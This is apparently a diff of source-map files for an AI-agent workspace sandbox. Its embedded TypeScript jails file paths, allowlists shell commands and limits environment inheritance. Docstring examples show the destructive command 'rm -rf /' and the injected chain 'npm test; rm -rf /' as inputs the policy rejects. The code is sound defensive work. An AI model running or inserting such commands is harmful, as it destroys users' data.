AC;CACvD;;CAGA,MAAa,OAAO,SAAmC;EACrD,OAAO,GAAG,OAAO,OAAO;CAC1B;;CAGA,MAAa,MAAM,SAAgC;EACjD,MAAM,GAAG,KAAK,OAAO,OAAO;CAC9B;;;;;;;CAQA,MAAa,OAAO,SAAgC;EAClD,IAAI,cAAc;EAElB,IAAI;GACF,eAAe,MAAM,GAAG,MAAM,MAAM,OAAO,EAAC,CAAE,SAAS;EACzD,SAAS,OAAO;GACd,IAAK,OAAiC,SAAS,UAC7C;GAGF,MAAM;EACR;EAEA,IAAI,aAAa;GACf,MAAM,GAAG,KAAK,OAAO,OAAO;GAE5B;EACF;EAEA,MAAM,GAAG,MAAM,OAAO,OAAO;CAC/B;;CAGA,MAAa,KAAK,QAAmC;EACnD,OAAO,GAAG,KAAK,KAAK,MAAM;CAC5B;;;;;;;CAQA,MAAa,SAAS,SAAkC;EACtD,OAAO,SAAS,OAAO;CACzB;;;;;;;;;;;;;;;;;;;;CAqBA,AAAO,KACL,SACA,OAAoC,CAAC,GACA;EACrC,OAAO,IAAI,SAAqC,YAAY;GAC1D,MAAM,UAAU,WACd,QAAQ;IAAE,UAAU;IAAK,QAAQ;IAAI;IAAQ,UAAU;GAAM,CAAC;GAEhE,MAAM,OAAO,gBAAgB,OAAO;GAEpC,IAAI,SAAS,MAAM;IACjB,OACE,kQAIF;IAEA;GACF;GAEA,IAAI,OAAO,KAAK;GAChB,IAAI,OAAO,KAAK,MAAM,CAAC;GACvB,IAAI,2BAA2B;GAE/B,IAAI,aAAa,SAAS;IACxB,MAAM,aAAa,qBAAqB,IAAI;IAE5C,IAAI,eAAe,MAAM;KACvB,OACE,mHAEF;KAEA;IACF;IAEA,OAAO,WAAW;IAClB,OAAO,WAAW;IAClB,2BAA2B;GAC7B;GAEA,MAAM,QAAQ,MAAM,MAAM,MAAM;IAC9B,KAAK,KAAK;IACV,KAAK,KAAK;IACV,OAAO;IACP,aAAa;IACb;IAIA,UAAU,aAAa;GACzB,CAAC;GAED,MAAM,eAAyB,CAAC;GAChC,MAAM,eAAyB,CAAC;GAChC,IAAI,cAAc;GAClB,IAAI,cAAc;GAClB,IAAI,WAAW;GACf,IAAI,UAAU;GAEd,MAAM,QACJ,KAAK,cAAc,UAAa,KAAK,YAAY,IAC7C,iBAAiB;IACf,WAAW;IACX,SAAS,MAAM,KAAK,KAAK;GAC3B,GAAG,KAAK,SAAS,IACjB;GAEN,MAAM,UAAU,aAAqB;IACnC,IAAI,SACF;IAGF,UAAU;IAEV,IAAI,UAAU,QACZ,aAAa,KAAK;IAGpB,QAAQ;KACN;KACA,QAAQ,OAAO,OAAO,YAAY,CAAC,CAAC,SAAS,MAAM;KACnD,QAAQ,OAAO,OAAO,YAAY,CAAC,CAAC,SAAS,MAAM;KACnD;IACF,CAAC;GACH;GAEA,MAAM,QAAQ,GAAG,SAAS,UAAkB;IAC1C,cAAc,WAAW,cAAc,aAAa,KAAK;GAC3D,CAAC;GAED,MAAM,QAAQ,GAAG,SAAS,UAAkB;IAC1C,cAAc,WAAW,cAAc,aAAa,KAAK;GAC3D,CAAC;GAKD,MAAM,GAAG,eAAe;IACtB,OAAO,GAAG;GACZ,CAAC;GAED,MAAM,GAAG,UAAU,MAAM,WAAW;IAIlC,IAAI,SAAS,MAAM;KAEjB,OAAO,OADc,WAAW,YAAY,IAAI,EACvB;KAEzB;IACF;IAEA,OAAO,IAAI;GACb,CAAC;EACH,CAAC;CACH;AACF;;;;;;;;;;;;;;;;AAiBA,SAAgB,qBAAuC;CACrD,OAAO,IAAI,aAAa;AAC1B"}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"policy.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/policy.ts"],"sourcesContent":["import path from \"node:path\";\r\nimport { realpath } from \"node:fs/promises\";\r\nimport { WorkspacePolicyError } from \"../errors\";\r\nimport { tokenizeCommand } from \"./tokenize-command\";\r\nimport type { WorkspacePolicy } from \"../contracts\";\r\n\r\n/**\r\n * The outcome of resolving a workspace-relative (or absolute) input path\r\n * against the jail — the canonical absolute location the backend should\r\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\r\n * the agent and tool results echo back.\r\n */\r\nexport interface ResolvedPath {\r\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\r\n absolutePath: string;\r\n /**\r\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\r\n * used in tool results so the agent always sees stable workspace paths.\r\n * Empty string when the resolved path IS the jail root.\r\n */\r\n relativePath: string;\r\n}\r\n\r\n/**\r\n * Resolve the canonical absolute form of `target`, collapsing any\r\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\r\n * so we realpath the deepest **existing** ancestor and re-attach the\r\n * non-existent tail — a symlinked ancestor still cannot smuggle the\r\n * path out of the jail, while genuinely new leaves stay creatable.\r\n */\r\nasync function canonicalize(target: string): Promise<string> {\r\n let resolvedTarget = path.resolve(target);\r\n const tail: string[] = [];\r\n\r\n // Walk up until an existing ancestor is found (or we hit the root).\r\n // eslint-disable-next-line no-constant-condition\r\n while (true) {\r\n try {\r\n const real = await realpath(resolvedTarget);\r\n\r\n return tail.length > 0 ? path.join(real, ...tail) : real;\r\n } catch (error) {\r\n const code = (error as NodeJS.ErrnoException).code;\r\n\r\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\r\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\r\n if (code !== \"ENOENT\") {\r\n throw error;\r\n }\r\n\r\n const parent = path.dirname(resolvedTarget);\r\n\r\n // Reached the filesystem root without finding an existing\r\n // ancestor — give back the lexically-resolved path unchanged.\r\n if (parent === resolvedTarget) {\r\n return path.join(resolvedTarget, ...tail);\r\n }\r\n\r\n tail.unshift(path.basename(resolvedTarget));\r\n resolvedTarget = parent;\r\n }\r\n }\r\n}\r\n\r\n/**\r\n * Whether `child` is contained within `root` (or equals it), comparing\r\n * canonical absolute paths. Guards against the `/srv/app-evil` vs\r\n * `/srv/app` prefix-collision by anchoring on a path separator.\r\n */\r\nfunction isInside(child: string, root: string): boolean {\r\n const relative = path.relative(root, child);\r\n\r\n return (\r\n relative === \"\" ||\r\n (!relative.startsWith(\"..\") && !path.isAbsolute(relative))\r\n );\r\n}\r\n\r\n/**\r\n * Translate a glob (the small subset used by `denyPaths` — `*`, `**`,\r\n * `?`) into an anchored `RegExp` over a `/`-separated relative path.\r\n * `**` spans path separators; a single `*` does not.\r\n */\r\nfunction globToRegExp(glob: string): RegExp {\r\n let source = \"\";\r\n\r\n for (let index = 0; index < glob.length; index++) {\r\n const char = glob[index];\r\n\r\n if (char === \"*\") {\r\n if (glob[index + 1] === \"*\") {\r\n // `**` — match across segments (and an optional trailing slash).\r\n source += \".*\";\r\n index++;\r\n\r\n if (glob[index + 1] === \"/\") {\r\n index++;\r\n }\r\n } else {\r\n // `*` — match within a single segment.\r\n source += \"[^/]*\";\r\n }\r\n\r\n continue;\r\n }\r\n\r\n if (char === \"?\") {\r\n source += \"[^/]\";\r\n\r\n continue;\r\n }\r\n\r\n // Escape everything else so it matches literally.\r\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\r\n }\r\n\r\n return new RegExp(`^${source}$`);\r\n}\r\n\r\n/**\r\n * Whether a workspace-relative (`/`-separated) path matches any of the\r\n * policy's `denyPaths` globs. A deny glob also blocks everything beneath\r\n * a matched directory (`\".git/**\"` blocks `.git/config`).\r\n */\r\nfunction matchesDeny(relativePath: string, denyPaths: string[]): boolean {\r\n return denyPaths.some((glob) => {\r\n if (globToRegExp(glob).test(relativePath)) {\r\n return true;\r\n }\r\n\r\n // A bare directory glob (`\".git\"`, `\"node_modules\"`) should also\r\n // block its contents, mirroring how `\".git/**\"` would behave.\r\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\r\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\r\n\r\n return relativePath.startsWith(prefix);\r\n }\r\n\r\n return false;\r\n });\r\n}\r\n\r\n/**\r\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\r\n *\r\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\r\n * existing ancestors collapsed so a symlinked directory cannot escape\r\n * the jail), then accepted **only** when it sits under `cwd` or one of\r\n * the `allowPaths` roots. A path that escapes, or that matches any\r\n * `denyPaths` glob even while inside `cwd`, is rejected with a\r\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\r\n *\r\n * @param policy - The bounding policy (its `cwd` is the jail root).\r\n * @param inputPath - A workspace-relative or absolute path to resolve.\r\n * @returns The canonical absolute path plus its `/`-separated relative form.\r\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\r\n *\r\n * @example\r\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\r\n */\r\nexport async function resolveInJail(\r\n policy: WorkspacePolicy,\r\n inputPath: string,\r\n): Promise<ResolvedPath> {\r\n const jailRoot = await canonicalize(policy.cwd);\r\n const requested = path.isAbsolute(inputPath)\r\n ? inputPath\r\n : path.join(policy.cwd, inputPath);\r\n const absolutePath = await canonicalize(requested);\r\n\r\n const insideCwd = isInside(absolutePath, jailRoot);\r\n const allowRoots = policy.allowPaths ?? [];\r\n let insideAllow = false;\r\n\r\n if (!insideCwd) {\r\n for (const root of allowRoots) {\r\n const canonicalRoot = await canonicalize(root);\r\n\r\n if (isInside(absolutePath, canonicalRoot)) {\r\n insideAllow = true;\r\n\r\n break;\r\n }\r\n }\r\n }\r\n\r\n if (!insideCwd && !insideAllow) {\r\n throw new WorkspacePolicyError(\r\n `Path \"${inputPath}\" resolves outside the workspace jail.`,\r\n { type: \"path-escape\", path: inputPath },\r\n );\r\n }\r\n\r\n // `denyPaths` is evaluated relative to the jail root and wins even\r\n // when the path is comfortably inside `cwd`.\r\n const relativeToJail = insideCwd\r\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\r\n : \"\";\r\n\r\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\r\n if (matchesDeny(relativeToJail, policy.denyPaths)) {\r\n throw new WorkspacePolicyError(\r\n `Path \"${inputPath}\" is blocked by the workspace deny list.`,\r\n { type: \"path-escape\", path: inputPath },\r\n );\r\n }\r\n }\r\n\r\n return { absolutePath, relativePath: relativeToJail };\r\n}\r\n\r\n/**\r\n * Reduce an argv's first element to the basename the allow/deny policy is\r\n * keyed on. `\"npm\"` → `\"npm\"`; `\"/usr/bin/node\"` → `\"node\"`; `\"node.exe\"`\r\n * → `\"node\"` (the `.exe`/`.cmd`/`.bat`/`.com` Windows extension is\r\n * stripped).\r\n */\r\nfunction executableBasename(firstToken: string): string {\r\n const base = path.basename(firstToken);\r\n\r\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\");\r\n}\r\n\r\n/**\r\n * Whether a shell command is permitted by the policy's `shell` sub-policy.\r\n *\r\n * The command is first tokenized via {@link tokenizeCommand} — a command\r\n * that cannot be represented as a single argv (unbalanced quotes, or\r\n * unquoted shell metacharacters such as `;`, `&&`, `|`, backticks, `$`,\r\n * redirection) is denied outright. The backend spawns the argv directly\r\n * with no shell, so such a command has no meaning here — and unquoted\r\n * metacharacters were exactly how an injected command chain used to ride\r\n * past the allowlist. The resolved `argv[0]` basename is then matched\r\n * against `shell.deny` then `shell.allow`. **Deny always wins.** When\r\n * `shell.allow` is set, the executable MUST appear in it (fail-closed\r\n * allowlist); when `allow` is absent/empty, any non-denied command is\r\n * permitted. An absent `shell` block means no command may run at all.\r\n *\r\n * Returns a plain `boolean` rather than throwing — the ops layer raises\r\n * the {@link WorkspacePolicyError} so the thrown context (`command`)\r\n * lives next to the call site.\r\n *\r\n * @example\r\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\r\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\r\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test; rm -rf /\"); // false\r\n */\r\nexport function isCommandAllowed(\r\n policy: WorkspacePolicy,\r\n command: string,\r\n): boolean {\r\n const shell = policy.shell;\r\n\r\n // No shell sub-policy ⇒ fail-closed: nothing may run.\r\n if (!shell) {\r\n return false;\r\n }\r\n\r\n const argv = tokenizeCommand(command);\r\n\r\n if (argv === null) {\r\n return false;\r\n }\r\n\r\n const executable = executableBasename(argv[0]);\r\n\r\n if (executable === \"\") {\r\n return false;\r\n }\r\n\r\n // Deny wins over everything else.\r\n if (shell.deny && shell.deny.includes(executable)) {\r\n return false;\r\n }\r\n\r\n // An allowlist, when present, is exhaustive.\r\n if (shell.allow && shell.allow.length > 0) {\r\n return shell.allow.includes(executable);\r\n }\r\n\r\n // No allowlist: anything not explicitly denied is permitted.\r\n return true;\r\n}\r\n\r\n/**\r\n * Build the exact environment a spawned process receives — `process.env`\r\n * is **never** inherited wholesale. The result is\r\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\r\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\r\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\r\n * values override inherited ones on key collision.\r\n *\r\n * @example\r\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\r\n * // → { PATH: <process PATH>, CI: \"1\" }\r\n */\r\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\r\n const shell = policy.shell;\r\n const env: Record<string, string> = {};\r\n\r\n if (!shell) {\r\n return env;\r\n }\r\n\r\n for (const key of shell.inheritEnv ?? []) {\r\n const value = process.env[key];\r\n\r\n if (value !== undefined) {\r\n env[key] = value;\r\n }\r\n }\r\n\r\n if (shell.env) {\r\n for (const [key, value] of Object.entries(shell.env)) {\r\n env[key] = value;\r\n }\r\n }\r\n\r\n return env;\r\n}\r\n"],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"policy.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/policy.ts"],"sourcesContent":["import path from \"node:path\";\nimport { realpath } from \"node:fs/promises\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport { tokenizeCommand } from \"./tokenize-command\";\nimport type { WorkspacePolicy } from \"../contracts\";\n\n/**\n * The outcome of resolving a workspace-relative (or absolute) input path\n * against the jail — the canonical absolute location the backend should\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\n * the agent and tool results echo back.\n */\nexport interface ResolvedPath {\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\n absolutePath: string;\n /**\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\n * used in tool results so the agent always sees stable workspace paths.\n * Empty string when the resolved path IS the jail root.\n */\n relativePath: string;\n}\n\n/**\n * Resolve the canonical absolute form of `target`, collapsing any\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\n * so we realpath the deepest **existing** ancestor and re-attach the\n * non-existent tail — a symlinked ancestor still cannot smuggle the\n * path out of the jail, while genuinely new leaves stay creatable.\n */\nasync function canonicalize(target: string): Promise<string> {\n let resolvedTarget = path.resolve(target);\n const tail: string[] = [];\n\n // Walk up until an existing ancestor is found (or we hit the root).\n // eslint-disable-next-line no-constant-condition\n while (true) {\n try {\n const real = await realpath(resolvedTarget);\n\n return tail.length > 0 ? path.join(real, ...tail) : real;\n } catch (error) {\n const code = (error as NodeJS.ErrnoException).code;\n\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\n if (code !== \"ENOENT\") {\n throw error;\n }\n\n const parent = path.dirname(resolvedTarget);\n\n // Reached the filesystem root without finding an existing\n // ancestor — give back the lexically-resolved path unchanged.\n if (parent === resolvedTarget) {\n return path.join(resolvedTarget, ...tail);\n }\n\n tail.unshift(path.basename(resolvedTarget));\n resolvedTarget = parent;\n }\n }\n}\n\n/**\n * Whether `child` is contained within `root` (or equals it), comparing\n * canonical absolute paths. Guards against the `/srv/app-evil` vs\n * `/srv/app` prefix-collision by anchoring on a path separator.\n */\nfunction isInside(child: string, root: string): boolean {\n const relative = path.relative(root, child);\n\n return (\n relative === \"\" ||\n (!relative.startsWith(\"..\") && !path.isAbsolute(relative))\n );\n}\n\n/**\n * Translate a glob (the small subset used by `denyPaths` — `*`, `**`,\n * `?`) into an anchored `RegExp` over a `/`-separated relative path.\n * `**` spans path separators; a single `*` does not.\n */\nfunction globToRegExp(glob: string): RegExp {\n let source = \"\";\n\n for (let index = 0; index < glob.length; index++) {\n const char = glob[index];\n\n if (char === \"*\") {\n if (glob[index + 1] === \"*\") {\n // `**` — match across segments (and an optional trailing slash).\n source += \".*\";\n index++;\n\n if (glob[index + 1] === \"/\") {\n index++;\n }\n } else {\n // `*` — match within a single segment.\n source += \"[^/]*\";\n }\n\n continue;\n }\n\n if (char === \"?\") {\n source += \"[^/]\";\n\n continue;\n }\n\n // Escape everything else so it matches literally.\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\n }\n\n return new RegExp(`^${source}$`);\n}\n\n/**\n * Whether a workspace-relative (`/`-separated) path matches any of the\n * policy's `denyPaths` globs. A deny glob also blocks everything beneath\n * a matched directory (`\".git/**\"` blocks `.git/config`).\n */\nfunction matchesDeny(relativePath: string, denyPaths: string[]): boolean {\n return denyPaths.some((glob) => {\n if (globToRegExp(glob).test(relativePath)) {\n return true;\n }\n\n // A bare directory glob (`\".git\"`, `\"node_modules\"`) should also\n // block its contents, mirroring how `\".git/**\"` would behave.\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\n\n return relativePath.startsWith(prefix);\n }\n\n return false;\n });\n}\n\n/**\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\n *\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\n * existing ancestors collapsed so a symlinked directory cannot escape\n * the jail), then accepted **only** when it sits under `cwd` or one of\n * the `allowPaths` roots. A path that escapes, or that matches any\n * `denyPaths` glob even while inside `cwd`, is rejected with a\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\n *\n * @param policy - The bounding policy (its `cwd` is the jail root).\n * @param inputPath - A workspace-relative or absolute path to resolve.\n * @returns The canonical absolute path plus its `/`-separated relative form.\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\n *\n * @example\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\n */\nexport async function resolveInJail(\n policy: WorkspacePolicy,\n inputPath: string,\n): Promise<ResolvedPath> {\n const jailRoot = await canonicalize(policy.cwd);\n const requested = path.isAbsolute(inputPath)\n ? inputPath\n : path.join(policy.cwd, inputPath);\n const absolutePath = await canonicalize(requested);\n\n const insideCwd = isInside(absolutePath, jailRoot);\n const allowRoots = policy.allowPaths ?? [];\n let insideAllow = false;\n\n if (!insideCwd) {\n for (const root of allowRoots) {\n const canonicalRoot = await canonicalize(root);\n\n if (isInside(absolutePath, canonicalRoot)) {\n insideAllow = true;\n\n break;\n }\n }\n }\n\n if (!insideCwd && !insideAllow) {\n throw new WorkspacePolicyError(\n `Path \"${inputPath}\" resolves outside the workspace jail.`,\n { type: \"path-escape\", path: inputPath },\n );\n }\n\n // `denyPaths` is evaluated relative to the jail root and wins even\n // when the path is comfortably inside `cwd`.\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\n : \"\";\n\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\n if (matchesDeny(relativeToJail, policy.denyPaths)) {\n throw new WorkspacePolicyError(\n `Path \"${inputPath}\" is blocked by the workspace deny list.`,\n { type: \"path-escape\", path: inputPath },\n );\n }\n }\n\n return { absolutePath, relativePath: relativeToJail };\n}\n\n/**\n * Reduce an argv's first element to the basename the allow/deny policy is\n * keyed on. `\"npm\"` → `\"npm\"`; `\"/usr/bin/node\"` → `\"node\"`; `\"node.exe\"`\n * → `\"node\"` (the `.exe`/`.cmd`/`.bat`/`.com` Windows extension is\n * stripped).\n */\nfunction executableBasename(firstToken: string): string {\n const base = path.basename(firstToken);\n\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\");\n}\n\n/**\n * Whether a shell command is permitted by the policy's `shell` sub-policy.\n *\n * The command is first tokenized via {@link tokenizeCommand} — a command\n * that cannot be represented as a single argv (unbalanced quotes, or\n * unquoted shell metacharacters such as `;`, `&&`, `|`, backticks, `$`,\n * redirection) is denied outright. The backend spawns the argv directly\n * with no shell, so such a command has no meaning here — and unquoted\n * metacharacters were exactly how an injected command chain used to ride\n * past the allowlist. The resolved `argv[0]` basename is then matched\n * against `shell.deny` then `shell.allow`. **Deny always wins.** When\n * `shell.allow` is set, the executable MUST appear in it (fail-closed\n * allowlist); when `allow` is absent/empty, any non-denied command is\n * permitted. An absent `shell` block means no command may run at all.\n *\n * Returns a plain `boolean` rather than throwing — the ops layer raises\n * the {@link WorkspacePolicyError} so the thrown context (`command`)\n * lives next to the call site.\n *\n * @example\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test; rm -rf /\"); // false\n */\nexport function isCommandAllowed(\n policy: WorkspacePolicy,\n command: string,\n): boolean {\n const shell = policy.shell;\n\n // No shell sub-policy ⇒ fail-closed: nothing may run.\n if (!shell) {\n return false;\n }\n\n const argv = tokenizeCommand(command);\n\n if (argv === null) {\n return false;\n }\n\n const executable = executableBasename(argv[0]);\n\n if (executable === \"\") {\n return false;\n }\n\n // Deny wins over everything else.\n if (shell.deny && shell.deny.includes(executable)) {\n return false;\n }\n\n // An allowlist, when present, is exhaustive.\n if (shell.allow && shell.allow.length > 0) {\n return shell.allow.includes(executable);\n }\n\n // No allowlist: anything not explicitly denied is permitted.\n return true;\n}\n\n/**\n * Build the exact environment a spawned process receives — `process.env`\n * is **never** inherited wholesale. The result is\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\n * values override inherited ones on key collision.\n *\n * @example\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\n * // → { PATH: <process PATH>, CI: \"1\" }\n */\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\n const shell = policy.shell;\n const env: Record<string, string> = {};\n\n if (!shell) {\n return env;\n }\n\n for (const key of shell.inheritEnv ?? []) {\n const value = process.env[key];\n\n if (value !== undefined) {\n env[key] = value;\n }\n }\n\n if (shell.env) {\n for (const [key, value] of Object.entries(shell.env)) {\n env[key] = value;\n }\n }\n\n return env;\n}\n"],"mappings":";;;;;;;;;;;;;AA8BA,eAAe,aAAa,QAAiC;CAC3D,IAAI,iBAAiB,KAAK,QAAQ,MAAM;CACxC,MAAM,OAAiB,CAAC;CAIxB,OAAO,MACL,IAAI;EACF,MAAM,OAAO,MAAM,SAAS,cAAc;EAE1C,OAAO,KAAK,SAAS,IAAI,KAAK,KAAK,MAAM,GAAG,IAAI,IAAI;CACtD,SAAS,OAAO;EAKd,IAJc,MAAgC,SAIjC,UACX,MAAM;EAGR,MAAM,SAAS,KAAK,QAAQ,cAAc;EAI1C,IAAI,WAAW,gBACb,OAAO,KAAK,KAAK,gBAAgB,GAAG,IAAI;EAG1C,KAAK,QAAQ,KAAK,SAAS,cAAc,CAAC;EAC1C,iBAAiB;CACnB;AAEJ;;;;;;AAOA,SAAS,SAAS,OAAe,MAAuB;CACtD,MAAM,WAAW,KAAK,SAAS,MAAM,KAAK;CAE1C,OACE,aAAa,MACZ,CAAC,SAAS,WAAW,IAAI,KAAK,CAAC,KAAK,WAAW,QAAQ;AAE5D;;;;;;AAOA,SAAS,aAAa,MAAsB;CAC1C,IAAI,SAAS;CAEb,KAAK,IAAI,QAAQ,GAAG,QAAQ,KAAK,QAAQ,SAAS;EAChD,MAAM,OAAO,KAAK;EAElB,IAAI,SAAS,KAAK;GAChB,IAAI,KAAK,QAAQ,OAAO,KAAK;IAE3B,UAAU;IACV;IAEA,IAAI,KAAK,QAAQ,OAAO,KACtB;GAEJ,OAEE,UAAU;GAGZ;EACF;EAEA,IAAI,SAAS,KAAK;GAChB,UAAU;GAEV;EACF;EAGA,UAAU,KAAK,QAAQ,qBAAqB,MAAM;CACpD;CAEA,OAAO,IAAI,OAAO,IAAI,OAAO,EAAE;AACjC;;;;;;AAOA,